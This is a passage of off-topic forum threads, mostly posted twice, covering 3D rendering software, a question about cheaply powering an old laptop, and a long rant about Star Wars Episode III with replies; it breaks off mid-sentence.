Just FYI, my CAD of choice is Rhino 3D (neither of the above are CAD): http://www.rhino3d.com

It's an omen. If you're really in the Disunited Kingdom, you shouldn't be awake when you posted.
No, they're done in Cinema 4d: http://www.maxon.net

And 3 of the stills done with Maxwell: http://www.maxwellrender.com
Just FYI, my CAD of choice is Rhino 3D (neither of the above are CAD): http://www.rhino3d.com
Jacks Complete June 26th, 2005, 08:32 AM

:-) meselfs, 12:47 is early!
Just downloaded the movie, very, very nice. Bet it took a while?

:-) meselfs, 12:47 is early!
Just downloaded the movie, very, very nice. Bet it took a while?

Took two months, at an average of 1 hr per weekday.
Thanks for the kind words, everyone!
I just experimented with traditional animation:
http://web.pdx.edu/~bsemerj/Temp/Avatar.gif (am using this image elsewhere)
I like it! Took 2 hrs, but it'd take longer with a computer and wouldn't have the natural look.
The obvious catch is that it's line art, but to be hoenst I like that stuff. Anyone heard of Don Hertzfeldt? He's my hero :->

Took two months, at an average of 1 hr per weekday.
Thanks for the kind words, everyone!
I just experimented with traditional animation:
http://web.pdx.edu/~bsemerj/Temp/Avatar.gif (am using this image elsewhere)
I like it! Took 2 hrs, but it'd take longer with a computer and wouldn't have the natural look.
The obvious catch is that it's line art, but to be hoenst I like that stuff. Anyone heard of Don Hertzfeldt? He's my hero :->
DirtyDan June 27th, 2005, 02:54 AM

Here's a wallpaper I made a while back while I was getting accustomed to Linux (Slackware). I screwed around with scripts in povray, mostly playing around with random
colors and trig until I got this (http://img161.echo.cx/my.php?image=pic35nh.jpg) .
DirtyDan June 27th, 2005, 02:54 AM

Here's a wallpaper I made a while back while I was getting accustomed to Linux (Slackware). I screwed around with scripts in povray, mostly playing around with random
colors and trig until I got this (http://img161.echo.cx/my.php?image=pic35nh.jpg) .

Neat! I messed with POV around 3 years and couldn't make half of that wallpaper. POV scripting can be so much fun, though.

Neat! I messed with POV around 3 years and couldn't make half of that wallpaper. POV scripting can be so much fun, though.
nbk2000 June 27th, 2005, 04:01 PM

If you came up with the ideas for the titles of the 'books', perhaps you could make them up as gag gifts and get some egghead supply company to sell them for you. :)
nbk2000 June 27th, 2005, 04:01 PM

If you came up with the ideas for the titles of the 'books', perhaps you could make them up as gag gifts and get some egghead supply company to sell them for you. :)

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Looking for external laptop battery
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View Full Version : Looking for external laptop battery
megalomania July 1st, 2005, 02:52 AM

I have an old laptop I never use because it has no battery, just an AC adapter. A replacement battery would cost at least $150 assuming I can even find one since this is a
Keynote laptop, not exactly a common brand.
I was at Best Buy a fey days ago and I saw they had an external rechargeable lithium ion universal battery that plugs into a laptop (or any portable electronic device) to
provide power. Unfortunatly this too costs $150.
I was just wondering if anyone happens to know of a much cheaper solution. Something rechargeable that can be connected to the laptops AC adapter is fine. Bulk not an
option. I found a device on Ebay that is quite cheap that consists of a rechargeable battery pack and a replacement AC adapter unit. These are 10.4V to 12V though; my
system is a 10.2V
I also found this nifty item on Ebay:

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&category=64472&item=6782059108&rd=1
I don't know if this would work on a laptop though. It runs power through a cigarette lighter connector. Would it be possible to get a lighter adapter, connect it to my laptops AC
adapter, and then plug it into this thing?
megalomania July 1st, 2005, 02:52 AM

I have an old laptop I never use because it has no battery, just an AC adapter. A replacement battery would cost at least $150 assuming I can even find one since this is a
Keynote laptop, not exactly a common brand.
I was at Best Buy a fey days ago and I saw they had an external rechargeable lithium ion universal battery that plugs into a laptop (or any portable electronic device) to
provide power. Unfortunatly this too costs $150.
I was just wondering if anyone happens to know of a much cheaper solution. Something rechargeable that can be connected to the laptops AC adapter is fine. Bulk not an
option. I found a device on Ebay that is quite cheap that consists of a rechargeable battery pack and a replacement AC adapter unit. These are 10.4V to 12V though; my
system is a 10.2V
I also found this nifty item on Ebay:

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&category=64472&item=6782059108&rd=1
I don't know if this would work on a laptop though. It runs power through a cigarette lighter connector. Would it be possible to get a lighter adapter, connect it to my laptops AC
adapter, and then plug it into this thing?
xyz July 3rd, 2005, 11:48 AM

You could always use the 10.4V supply with a resistor wired in series to get the voltage down to 10.2V before the computer is supplied with power (if you know the current
used by the laptop then use V=IR to calculate the value of the resistor). That is if a 0.2v difference even matters in the first place?
xyz July 3rd, 2005, 11:48 AM

You could always use the 10.4V supply with a resistor wired in series to get the voltage down to 10.2V before the computer is supplied with power (if you know the current
used by the laptop then use V=IR to calculate the value of the resistor). That is if a 0.2v difference even matters in the first place?
Jacks Complete July 4th, 2005, 09:12 AM

0.2 volts is likely to be an issue in a laptop, which would normally rely on the exact PSU supplied from the factory. Laptops are generally about the most sensitive thing you can
find re: batteries and power supplies. A sealed battery with finger protection, etc. will *never* get a voltage spike, so they will save 50p on that bit of the circuit. It won't be
ESD protected, either.
You could use an inverter, but you need one that offers "true sine wave" so the transformer gives a nice ripple-free output.

0.2 volts is likely to be an issue in a laptop, which would normally rely on the exact PSU supplied from the factory. Laptops are generally about the most sensitive thing you can
find re: batteries and power supplies. A sealed battery with finger protection, etc. will *never* get a voltage spike, so they will save 50p on that bit of the circuit. It won't be
ESD protected, either.
You could use an inverter, but you need one that offers "true sine wave" so the transformer gives a nice ripple-free output.
linfieldfc July 4th, 2005, 05:21 PM

This may or may not be of interest, it is a link concerning the rebuiling of laptop batteries:
http://laptops.engadget.com/entry/1234000927048426/
linfieldfc July 4th, 2005, 05:21 PM

This may or may not be of interest, it is a link concerning the rebuiling of laptop batteries:
http://laptops.engadget.com/entry/1234000927048426/

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Star Wars, Episode 3 SUXS!
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View Full Version : Star Wars, Episode 3 SUXS!
nbk2000 July 1st, 2005, 02:39 PM

(I know it's been out a few months already, just waited for the crowds to disappear)
Having seen the latest Star Wars movie, I must say that I was disappointed by it.
Yes, there was eye-candy galore, but the eye can not live on candy alone.
Starting with the opening space battle:
Very impressive and quite spectacular. BUT...there's no air is space, so all the sounds of space fighters swooshing by is silly,
though I understand the need for dramatic license. I think it'd be far more dramatic if you see all these beautiful ships being
blown apart in utter silence, interspersed by the screams of the dying crew in the interior shots.
The heros have missiles fired at them, but the missile are *dumb*, with several running into each other and exploding
harmlessly. I would think that any civilization smart enough to build space ships capable of light-speeds and AI-equipped
androids, could build missiles smart enough not to run into each other.
Oh, but several do get ahead of the heros and deployed these spheres into their path. I thought 'Oh, the missiles are
deploying submunition mines for them to run into.'. Silly me, thinking logically in the Lucas Universe. They were little droids
that attached themselves to the heros fighters and started to tear 'em apart.
:rolleyes:
Of course! How much more sensible! Why use a proximity fuzed explosive warhead to do something quickly and efficiently
when you can use silly little droids so your heros R2 units can have some screen time duking it out with them instead.
Once these pests are dealt with, the heros crash onto the flagship of the evil droid leader, General Grievous, who no doubt
took that name from a bad anime character.
After slaughering scores of stupid droid soldiers who are nothing more than Lucas's version of Original Star Treks red-shirts
(you know, the guys who get killed within one minute of beaming down with Kirk and Spock?), they're off to rescue the future
emporer who's being held hostage.
One thing that came to annoy me throuhgout the movie was how the droids would look at each other and make comments
like 'Uh oh!' to each other as they were about to be sliced by the Jedis.
They're not organic creatures, so why the fuck are they vocalizing? Wouldn't combat droids be using some form of digitally
encrypted communicatons so that;
A) Organic enemies couldn't intercept their conversations
or
B) 'talk' so fast that an entire conversation would sound like a chirp...like a voice recording played at hundred times normal
speed?
There's dumb shit with the elevator, dumb shit with the hostage being left unguarded, Count Dookie attacking 2 to his 1 and
getting killed for it, and an especially dumb thing with the gravity.
This is where the ship is headed for a nose-dive into the planet below and so, naturally, everything and everyone goes sliding
at great speed down towards the planet in the ship.
Oh...and so the ships artifical gravity field that's been holding them to the floor the whole time that they've been in the
weightless enviroment of orbit suddenly aligns itself with the planet, rather than holding them to the floor, regardless of the
ships orientation to the nearest astral body? AAARRRGHGH!
Then the ship breaks in half as it's re-entering the atmosphere. This, of course, doesn't effect their ability to control the ship,
nor send them tumbling, as they've got air-brakes.
As they go screaming down to the planet, they spot a landing field and so they go to land there. Never mind that an object of
many thousands of tons and hundreds of meters in diameter has just come in at Mach 20+...that annoying thing known as a
shock front dissipates in the Lucas Universe within feet of the object, rather than acting as an explosive blast that'd destroy
things for miles in its wake.
As they come in for a landing, they get (suspend reality mode ON) hosed down in mid-air by little flying firetrucks! Oh, fuck
me!
How about some lizard thing outrunning a monowheel driving by a fleeing General Grievious? And why does an android wheeze
and walk around like the Hunchback of Norte Dame and yet, later, jumps and runs around like a cracked-out spider? (PS: I
know he has organic components, but seriously...wheezing?)
There's surveillance cameras in the Senators private offices so Jedis can roll tape and see Anikan swear allegiance to a Sith
Lord? How could politicians operate with in house spies? They couldn't and wouldn't.
The Wookies get a couple of minutes as the droids assualt across a river in a manner reminiscent of a charge across the No
Mans Land of WW1. Droids = Dumb.
I like how Anikan just flies right up to his crib and hops out of his ride, hundreds of stories up, with no rails or nothing around,
while his pregnant wife stands there just feet from falling to her death on a sloping 'porch', and C3PO literally a single step
from the edge.
Doesn't anyone have any sense? Or perhaps the railings are invisible force fields? Ohhhhh, how slick! It's there, you just won't
know it unless you run into it. Just hope someone didn't turn it off without telling you...
How about after all the Jedi are killed off and Yoda is brought before the emperor? Yoda uses the force to knock out two
guards before chatting with the bemused emperor, who waves off his only other guard, setting up the scene for their light-
saber duel.
WTF?!
No wonder this dude loses an empire amd gets killed...he's a moron!
If my enemy, a Jedi master who's sworn to kill me (a Sith Lord), is brought before me, he's damn well going to be bound
hand and foot, as well as gagged (can't risk 'em using The Voice ;)), stripped naked, and surrounded by a dozen guards with
their fingers on the trigger and orders to kill at the slightest twitch.
But nooooo! Seems someone forgot to read the 101 rules of being an Evil Overlord.
The whole movie is like this...stupidity piled on top of foolishness.
I spent far more time laughing at the stupid things than I did being absorbed in the movie.
There were only a couple of good scenes, such as the creation of the Vader we all know and love, and his first use of the 'I'm
crushing your throat!' pinch of death.
Lucas fucked off a perfectly good ending by dragging it out too long. He should have left off where Vader and the Emperor are
standing on the bridge of a destroyer, looking out on the construction of a Death Star. That was dramatic.
Instead, he keeps going, showing the twins (luke and leia) being parceled out. Yawn!
As for the rest...a waste of two hours and six dollars. It's the best of the most recent three, but still falls far short of any of the
original three. Only simpletons and small children could enjoy watching it.
Lucas, you bastard, I want my money back!
nbk2000 July 1st, 2005, 02:39 PM

(I know it's been out a few months already, just waited for the crowds to disappear)
Having seen the latest Star Wars movie, I must say that I was disappointed by it.
Yes, there was eye-candy galore, but the eye can not live on candy alone.
Starting with the opening space battle:
Very impressive and quite spectacular. BUT...there's no air is space, so all the sounds of space fighters swooshing by is silly,
though I understand the need for dramatic license. I think it'd be far more dramatic if you see all these beautiful ships being
blown apart in utter silence, interspersed by the screams of the dying crew in the interior shots.
The heros have missiles fired at them, but the missile are *dumb*, with several running into each other and exploding
harmlessly. I would think that any civilization smart enough to build space ships capable of light-speeds and AI-equipped
androids, could build missiles smart enough not to run into each other.
Oh, but several do get ahead of the heros and deployed these spheres into their path. I thought 'Oh, the missiles are
deploying submunition mines for them to run into.'. Silly me, thinking logically in the Lucas Universe. They were little droids
that attached themselves to the heros fighters and started to tear 'em apart.
:rolleyes:
Of course! How much more sensible! Why use a proximity fuzed explosive warhead to do something quickly and efficiently
when you can use silly little droids so your heros R2 units can have some screen time duking it out with them instead.
Once these pests are dealt with, the heros crash onto the flagship of the evil droid leader, General Grievous, who no doubt
took that name from a bad anime character.
After slaughering scores of stupid droid soldiers who are nothing more than Lucas's version of Original Star Treks red-shirts
(you know, the guys who get killed within one minute of beaming down with Kirk and Spock?), they're off to rescue the future
emporer who's being held hostage.
One thing that came to annoy me throuhgout the movie was how the droids would look at each other and make comments
like 'Uh oh!' to each other as they were about to be sliced by the Jedis.
They're not organic creatures, so why the fuck are they vocalizing? Wouldn't combat droids be using some form of digitally
encrypted communicatons so that;
A) Organic enemies couldn't intercept their conversations
or
B) 'talk' so fast that an entire conversation would sound like a chirp...like a voice recording played at hundred times normal
speed?
There's dumb shit with the elevator, dumb shit with the hostage being left unguarded, Count Dookie attacking 2 to his 1 and
getting killed for it, and an especially dumb thing with the gravity.
This is where the ship is headed for a nose-dive into the planet below and so, naturally, everything and everyone goes sliding
at great speed down towards the planet in the ship.
Oh...and so the ships artifical gravity field that's been holding them to the floor the whole time that they've been in the
weightless enviroment of orbit suddenly aligns itself with the planet, rather than holding them to the floor, regardless of the
ships orientation to the nearest astral body? AAARRRGHGH!
Then the ship breaks in half as it's re-entering the atmosphere. This, of course, doesn't effect their ability to control the ship,
nor send them tumbling, as they've got air-brakes.
As they go screaming down to the planet, they spot a landing field and so they go to land there. Never mind that an object of
many thousands of tons and hundreds of meters in diameter has just come in at Mach 20+...that annoying thing known as a
shock front dissipates in the Lucas Universe within feet of the object, rather than acting as an explosive blast that'd destroy
things for miles in its wake.
As they come in for a landing, they get (suspend reality mode ON) hosed down in mid-air by little flying firetrucks! Oh, fuck
me!
How about some lizard thing outrunning a monowheel driving by a fleeing General Grievious? And why does an android wheeze
and walk around like the Hunchback of Norte Dame and yet, later, jumps and runs around like a cracked-out spider? (PS: I
know he has organic components, but seriously...wheezing?)
There's surveillance cameras in the Senators private offices so Jedis can roll tape and see Anikan swear allegiance to a Sith
Lord? How could politicians operate with in house spies? They couldn't and wouldn't.
The Wookies get a couple of minutes as the droids assualt across a river in a manner reminiscent of a charge across the No
Mans Land of WW1. Droids = Dumb.
I like how Anikan just flies right up to his crib and hops out of his ride, hundreds of stories up, with no rails or nothing around,
while his pregnant wife stands there just feet from falling to her death on a sloping 'porch', and C3PO literally a single step
from the edge.
Doesn't anyone have any sense? Or perhaps the railings are invisible force fields? Ohhhhh, how slick! It's there, you just won't
know it unless you run into it. Just hope someone didn't turn it off without telling you...
How about after all the Jedi are killed off and Yoda is brought before the emperor? Yoda uses the force to knock out two
guards before chatting with the bemused emperor, who waves off his only other guard, setting up the scene for their light-
saber duel.
WTF?!
No wonder this dude loses an empire amd gets killed...he's a moron!
If my enemy, a Jedi master who's sworn to kill me (a Sith Lord), is brought before me, he's damn well going to be bound
hand and foot, as well as gagged (can't risk 'em using The Voice ;)), stripped naked, and surrounded by a dozen guards with
their fingers on the trigger and orders to kill at the slightest twitch.
But nooooo! Seems someone forgot to read the 101 rules of being an Evil Overlord.
The whole movie is like this...stupidity piled on top of foolishness.
I spent far more time laughing at the stupid things than I did being absorbed in the movie.
There were only a couple of good scenes, such as the creation of the Vader we all know and love, and his first use of the 'I'm
crushing your throat!' pinch of death.
Lucas fucked off a perfectly good ending by dragging it out too long. He should have left off where Vader and the Emperor are
standing on the bridge of a destroyer, looking out on the construction of a Death Star. That was dramatic.
Instead, he keeps going, showing the twins (luke and leia) being parceled out. Yawn!
As for the rest...a waste of two hours and six dollars. It's the best of the most recent three, but still falls far short of any of the
original three. Only simpletons and small children could enjoy watching it.
Third_Rail July 1st, 2005, 03:15 PM

That phrase, now quite oft-spoken, is all that is left of Lucas' once great legacy.
Third_Rail July 1st, 2005, 03:15 PM

That phrase, now quite oft-spoken, is all that is left of Lucas' once great legacy.

The original three were damn good. The more I read or hear about the actual process that lead up to them though, the less I
am convinced of Lucas' genius. Many of the iconic moments of the first film happened totally by accident, or wern't in the script
on start of filming and were added on a whim at the last moment. Harrison ford as Han Solo, who could have done a better
job? And the set carpenter got to be in the film when the guy actually cast as Han didn't show up. Or how about Obe-Wan
moving to a higher plane of existance? Most of the second film was going to be him teaching Luke the ways of the force. Last
moment, kill him off and for the second film had to invent Yoda. How fundamental to the way the first two films worked was
that very late in the day script change! How about Jabba the hut? A human in the first film but ended up on the cutting room
floor which was very fortunate given how well the later incarnation worked.
The more I hear about the process the more I think Lucas isnt a genius, he did a lor right and was very very lucky with
everything else. He was smart enough to see where the money was and go into toys and start up compaies like LucasArts,
Industrial light and magic....
The first prequal was a nightmare, comittie thinking and ended up making a 2 hour toy commercial. Leia was apricess so her
mother has to be a queen, but being a queen isnt democratic and god knows that every advanced civilisation would choose to
do things exactly like america does it now. So Amidala is queen because she's been voted queen for a short period of time -
or something to that effect in fudged explanations of why she is nolonger queen in the second prequal - conviently before
she's old enough to buy alcohol or lose her virginity in what must be a cross between presidential elections and a beauty
pagent for the benifit of culturally ingrained pedaphilia.
In the third film Lucas seems to want to tie up every loose end, leave things as happy as they can be under the circumstances
while including cameos of every successfull creature he's ever invented. He also wants to suck all the events from the empires
rule to completely neuter them. Theyre supposed to stand around for what must be 2 decades while that death star gets
partially completed even though we are supposed to believe they can whip up a second 'fully operational' one at a moments
notice for 'episode 6'.
Its beyond stupidity, its corperate thinking. Its artificially bending things out fo shape to make them happier, kinder, more
saleable and politically correct. If Anakin gets his pinch as soon as he turns to the dark side wtf is he doing while his son is
growing up? Does he learn nothing at all more about thw ays of the dark side? How the hell can Yoda throw electricity in the
second one, its practically made clear in the last film thats a perk of joining the dark side. Its unsubtle, its not honerable. Its
a sith trick, its not something Jedi masters send away for with a certain number of cerial tokens. Dooku was able to learn it in
the decade or so it took the clones to grow up since he joined the Dark side, but in the time Luke takes to grow up Vader,
supposedly much more in touch with the force than any Jedi previously or since never aparently learns it in the much longer
time it takes Luke to grow up.
Or course Yoda has to be captured and escape because the idea he survived the massacre by running away, or being too far
away when the war started wouldnt be very 'patriotic american' even though this would make much more sense given what we
know from the original films, he is after all hiding, cowering if you will, on a planet in the middle of nowhere during what he
knows are the very last few years of his life.
How about turning the force from the religion with very real benifits into a blood disease in the first prequal? Cant risk pissing
off mainstream christian america now can we, even through this went right over their heads first time around. Cant have large
numbers of ordinary Jedi fading onto a higher plane when they die either, thats just going to confuse the little children that are
our new target audience.
Dooku was another mistake. The pick a good actor and give him the same dumb role he gets in everything else. He should
have been written as a Jedi with more vision, he can see a war coming, but things are clouded and he can't see how it starts,
so he sets up the clone project, he can see the senite being currupted by the sith but can't do anything about it, so he moves
sides. To kill off a lot of potential dilemmas by making him student sith number #2, and having everything he does just part
of the sith lords plan makes for really poor plot. If you control a massive driod army, and a massive clone army, why both with
the senate at all? Let the two sides batter eachother into tatters and walk in with the clone army and take control directly. Of
course thats not 'evil' enough and regardless of how incredably smart the bad guy has to be in order to set up the plot of the
film they always have to take the more evil road over the most likley to work. This is to avoid confusing the general public with
concepts like subtle morality. The bad guy is evil because evil people dont have a right to life so you can kill them at the end,
they are successful because people arnt praying hard enough. Anyone get the impression these excuses have been used
since before the crusades?
I'm going to end this post now, I'm rapidly moving from coherent ranting to incoherent ranting. I will ask a question though, in
other peoples opinion, who would have best part written/directed the 3rd prequal? For my money its Tim Burton. I think He'd
really go to town on the 'your advanced civilisation is going to hell in a gothic handbasket and things are just going to keep
getting steadily worse for the next 20 years". I dont think anyone else would have had the guts to finish on the dark and
depressed vibe implied by the first film. Maybe when lucas dies someone will remake these. Not that I would advocate
speading that process up of course.

The original three were damn good. The more I read or hear about the actual process that lead up to them though, the less I
am convinced of Lucas' genius. Many of the iconic moments of the first film happened totally by accident, or wern't in the script
on start of filming and were added on a whim at the last moment. Harrison ford as Han Solo, who could have done a better
job? And the set carpenter got to be in the film when the guy actually cast as Han didn't show up. Or how about Obe-Wan
moving to a higher plane of existance? Most of the second film was going to be him teaching Luke the ways of the force. Last
moment, kill him off and for the second film had to invent Yoda. How fundamental to the way the first two films worked was
that very late in the day script change! How about Jabba the hut? A human in the first film but ended up on the cutting room
floor which was very fortunate given how well the later incarnation worked.
The more I hear about the process the more I think Lucas isnt a genius, he did a lor right and was very very lucky with
everything else. He was smart enough to see where the money was and go into toys and start up compaies like LucasArts,
Industrial light and magic....
The first prequal was a nightmare, comittie thinking and ended up making a 2 hour toy commercial. Leia was apricess so her
mother has to be a queen, but being a queen isnt democratic and god knows that every advanced civilisation would choose to
do things exactly like america does it now. So Amidala is queen because she's been voted queen for a short period of time -
or something to that effect in fudged explanations of why she is nolonger queen in the second prequal - conviently before
she's old enough to buy alcohol or lose her virginity in what must be a cross between presidential elections and a beauty
pagent for the benifit of culturally ingrained pedaphilia.
In the third film Lucas seems to want to tie up every loose end, leave things as happy as they can be under the circumstances
while including cameos of every successfull creature he's ever invented. He also wants to suck all the events from the empires
rule to completely neuter them. Theyre supposed to stand around for what must be 2 decades while that death star gets
partially completed even though we are supposed to believe they can whip up a second 'fully operational' one at a moments
notice for 'episode 6'.
Its beyond stupidity, its corperate thinking. Its artificially bending things out fo shape to make them happier, kinder, more
saleable and politically correct. If Anakin gets his pinch as soon as he turns to the dark side wtf is he doing while his son is
growing up? Does he learn nothing at all more about thw ays of the dark side? How the hell can Yoda throw electricity in the
second one, its practically made clear in the last film thats a perk of joining the dark side. Its unsubtle, its not honerable. Its
a sith trick, its not something Jedi masters send away for with a certain number of cerial tokens. Dooku was able to learn it in
the decade or so it took the clones to grow up since he joined the Dark side, but in the time Luke takes to grow up Vader,
supposedly much more in touch with the force than any Jedi previously or since never aparently learns it in the much longer
time it takes Luke to grow up.
Or course Yoda has to be captured and escape because the idea he survived the massacre by running away, or being too far
away when the war started wouldnt be very 'patriotic american' even though this would make much more sense given what we
know from the original films, he is after all hiding, cowering if you will, on a planet in the middle of nowhere during what he
knows are the very last few years of his life.
How about turning the force from the religion with very real benifits into a blood disease in the first prequal? Cant risk pissing
off mainstream christian america now can we, even through this went right over their heads first time around. Cant have large
numbers of ordinary Jedi fading onto a higher plane when they die either, thats just going to confuse the little children that are
our new target audience.
Dooku was another mistake. The pick a good actor and give him the same dumb role he gets in everything else. He should
have been written as a Jedi with more vision, he can see a war coming, but things are clouded and he can't see how it starts,
so he sets up the clone project, he can see the senite being currupted by the sith but can't do anything about it, so he moves
sides. To kill off a lot of potential dilemmas by making him student sith number #2, and having everything he does just part
of the sith lords plan makes for really poor plot. If you control a massive driod army, and a massive clone army, why both with
the senate at all? Let the two sides batter eachother into tatters and walk in with the clone army and take control directly. Of
course thats not 'evil' enough and regardless of how incredably smart the bad guy has to be in order to set up the plot of the
film they always have to take the more evil road over the most likley to work. This is to avoid confusing the general public with
concepts like subtle morality. The bad guy is evil because evil people dont have a right to life so you can kill them at the end,
they are successful because people arnt praying hard enough. Anyone get the impression these excuses have been used
since before the crusades?
I'm going to end this post now, I'm rapidly moving from coherent ranting to incoherent ranting. I will ask a question though, in
other peoples opinion, who would have best part written/directed the 3rd prequal? For my money its Tim Burton. I think He'd
really go to town on the 'your advanced civilisation is going to hell in a gothic handbasket and things are just going to keep
getting steadily worse for the next 20 years". I dont think anyone else would have had the guts to finish on the dark and
depressed vibe implied by the first film. Maybe when lucas dies someone will remake these. Not that I would advocate
speading that process up of course.
megalomania July 2nd, 2005, 05:19 AM

Let us never forget Lucas is responsible for unleashing Jar Jar Binks upon us! More time has passed in the real world between
the 2 trilogies than passes in the movies themselves, and Jar Jar is the best they can come up with? Oh sure, he helps
McDonalds sell hamburgers, but you sell a little bit of your soul pandering to the kiddies with that crap.
For spectucular special effects the movie gets an A, but somewhere along the way the plot was lost. Every action flick Hollywood
churns out nowadays gets an A for special effects, but you still won't find a plot.
I could not resist, though. I don't often go to the theatre since it is a big waste of money, but I got caught up in the
excitment. I got my tickets a week early for the midnight showing. It was a packed house and I counted 12 light sabers (the
light up toys) and at least 2 people dressed as Jedi. By 12:30 the movie still had not started and the crowd was restless. The
theatre was giving away light up spoons (I guess they were supposed to look like light sabers) and so two of the weirdos
dressed as Jedi went up to the front and started to duel. They got booed and pelted with popcorn. At around 12:35 the movie
started... no, now they showed crummy COMMERCIALS! Then came the previews, and finally the movie.
It is a good thing it was at midnight as this gave me the chance to wear my jacket. I was overflowing with candy and liquid
refreshments. I'll be damned if I am paying $5 for a candy bar that I can get next door for $1!
megalomania July 2nd, 2005, 05:19 AM

Let us never forget Lucas is responsible for unleashing Jar Jar Binks upon us! More time has passed in the real world between
the 2 trilogies than passes in the movies themselves, and Jar Jar is the best they can come up with? Oh sure, he helps
McDonalds sell hamburgers, but you sell a little bit of your soul pandering to the kiddies with that crap.
For spectucular special effects the movie gets an A, but somewhere along the way the plot was lost. Every action flick Hollywood
churns out nowadays gets an A for special effects, but you still won't find a plot.
I could not resist, though. I don't often go to the theatre since it is a big waste of money, but I got caught up in the
excitment. I got my tickets a week early for the midnight showing. It was a packed house and I counted 12 light sabers (the
light up toys) and at least 2 people dressed as Jedi. By 12:30 the movie still had not started and the crowd was restless. The
theatre was giving away light up spoons (I guess they were supposed to look like light sabers) and so two of the weirdos
dressed as Jedi went up to the front and started to duel. They got booed and pelted with popcorn. At around 12:35 the movie
started... no, now they showed crummy COMMERCIALS! Then came the previews, and finally the movie.
It is a good thing it was at midnight as this gave me the chance to wear my jacket. I was overflowing with candy and liquid
refreshments. I'll be damned if I am paying $5 for a candy bar that I can get next door for $1!
Chris The Great July 2nd, 2005, 11:14 PM

I also ended up seeing it around midnight on the first night. Me and my friends got back row center seats, aka the best in the
theatre. There was a guy dressed in a complete Vader costume, looked damn good as it wasn't some cheapass costume, but
looked like something they'd put in the movie (except he was a little too short, needed those fancy boots to make him taller).
Another guy was in a similar stormtrooper costume, but unfortunately lacked a gun to go with it. There was a "jedi" duel in the
theatre because everyone was sick of watching commercials for so long, which was pretty funny especially with some fat guy
betting money on the winner and one of the guys screaming out battlecries and such.
The special effects and all the killing was good but I was pissed off at a lot of the stuff they put in there, especially the
beginning with the missiles. At least it explains why the got their asses kicked in that war. I also hated the ending, it would
have been ok with all those scenes but it really should have ended with Vader and the Emperor watching the deathstar. I think
it may have been the prototpye under constuction and not the actual death star, which was basically the reactor and
superlaser. I really don't want to start on a rant about the superlaser, that really really bugs me. Hyperspace is ok, but the
superlaser is the biggest hunk of bullshit and ruins episode 4 for me (in 6 it only blew up ships, that's ok). I remember
reading a site about energy requirements and such to destroy a planet, and how much power the death star would need to be
able to do what it does. Something on the order a week or something of our suns total energy output, or how many billions of
tons of antimatter would need to be used.
Whatever, here's some off topic but interesting reading on the topic:
http://ned.ucam.org/~sdh31/misc/destroy.html
Somewhere is something on the deathstar but I can't find it. Oh well.
I think the moment that stood out the most with my moviegoing experience was a guy in full, elaborate Jedi costume saying
"I don't actually like Star Wars, I just wanted to dress up."
Chris The Great July 2nd, 2005, 11:14 PM

I also ended up seeing it around midnight on the first night. Me and my friends got back row center seats, aka the best in the
theatre. There was a guy dressed in a complete Vader costume, looked damn good as it wasn't some cheapass costume, but
looked like something they'd put in the movie (except he was a little too short, needed those fancy boots to make him taller).
Another guy was in a similar stormtrooper costume, but unfortunately lacked a gun to go with it. There was a "jedi" duel in the
theatre because everyone was sick of watching commercials for so long, which was pretty funny especially with some fat guy
betting money on the winner and one of the guys screaming out battlecries and such.
The special effects and all the killing was good but I was pissed off at a lot of the stuff they put in there, especially the
beginning with the missiles. At least it explains why the got their asses kicked in that war. I also hated the ending, it would
have been ok with all those scenes but it really should have ended with Vader and the Emperor watching the deathstar. I think
it may have been the prototpye under constuction and not the actual death star, which was basically the reactor and
superlaser. I really don't want to start on a rant about the superlaser, that really really bugs me. Hyperspace is ok, but the
superlaser is the biggest hunk of bullshit and ruins episode 4 for me (in 6 it only blew up ships, that's ok). I remember
reading a site about energy requirements and such to destroy a planet, and how much power the death star would need to be
able to do what it does. Something on the order a week or something of our suns total energy output, or how many billions of
tons of antimatter would need to be used.
Whatever, here's some off topic but interesting reading on the topic:
http://ned.ucam.org/~sdh31/misc/destroy.html
Somewhere is something on the deathstar but I can't find it. Oh well.
I think the moment that stood out the most with my moviegoing experience was a guy in full, elaborate Jedi costume saying
"I don't actually like Star Wars, I just wanted to dress up."
mediumcaliber July 4th, 2005, 07:31 AM

Liquid refreshments... I hadn't thought of that one. I'll have to remember that next time I feel like blowing $6.50.
The reason Grievous is wheezing is actually from some cartoon that was apparently shown in the past few years on Cartoon
Network called Clone Wars, or something like that. When Grievous attacks Coruscant to kidnap the Chancellor or whatever he
was called at that point, he kicks the shit out of a bunch of jedi and escapes with Palpatine, but at the last moment Windu,
who's been tearing dozens of enemies to shit with the force, uses the vader grip and crushes Grievous body/organs, raising a
huge question of, "Fuck, why didn't he just do that in the first place?" It wasn't clear at that point that Grievous was part
organic, so it seemed even funnier that the robot was *coughing* :)
They let him write and direct it without supervision again, didn't they?
mediumcaliber July 4th, 2005, 07:31 AM

Liquid refreshments... I hadn't thought of that one. I'll have to remember that next time I feel like blowing $6.50.
The reason Grievous is wheezing is actually from some cartoon that was apparently shown in the past few years on Cartoon
Network called Clone Wars, or something like that. When Grievous attacks Coruscant to kidnap the Chancellor or whatever he
was called at that point, he kicks the shit out of a bunch of jedi and escapes with Palpatine, but at the last moment Windu,
who's been tearing dozens of enemies to shit with the force, uses the vader grip and crushes Grievous body/organs, raising a
huge question of, "Fuck, why didn't he just do that in the first place?" It wasn't clear at that point that Grievous was part
organic, so it seemed even funnier that the robot was *coughing* :)
They let him write and direct it without supervision again, didn't they?

What was with the Jedi vs. the missiles in the incredibly long opening scene? It was weird, and weary.
The end could have been sorted out by reversing the two scenes of the baby exchange and the death star, as it would be
impossible to tell when the death star construction was started, how far along it all was, etc.
When the two are fighting at the end (Mace Windu and Palaptine) and Anakin walks in, surely Mace should have just countered
the lies by saying "There are three dead Jedi behind me, he's lying"!
I thought Grievious was really rather cool. He wasn't wasted, like Dooku, and he had that whole "I hate organics", yet his
wheezing gave away his true nature. The monowheel chase thing was totally stupid, but the rest of that bit was cool, and the
bit where Grievious pulls out four lightsabers... 8-)
I couldn't believe the whole ship crashing thing either. I kind of expected to see evidence of some kind of force shields or
tractor beams kicking in, but bizarrely, no! And what about the hundreds of other falling ships? They won't all have had a pair
of Jedi pilots to save the day and pop them on the runway perfectly! And where were the planet's ground based defences? I
don't recall seeing any, but would you leave the defence of your home planet to just the ships in orbit?
It tried a bit too hard to tie up loose ends, too, leading to some clumsy bits. One that should have been handled better would
